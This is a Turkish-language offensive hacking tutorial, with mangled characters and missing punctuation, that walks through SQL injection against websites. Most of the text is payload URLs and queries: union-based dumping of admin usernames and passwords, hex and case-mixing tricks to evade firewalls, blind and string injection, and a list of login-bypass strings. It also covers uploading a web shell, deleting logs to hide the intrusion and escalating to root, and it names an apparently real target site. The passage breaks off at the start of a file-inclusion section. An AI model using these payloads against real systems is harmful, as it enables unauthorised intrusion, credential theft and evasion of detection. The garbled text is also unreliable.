wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

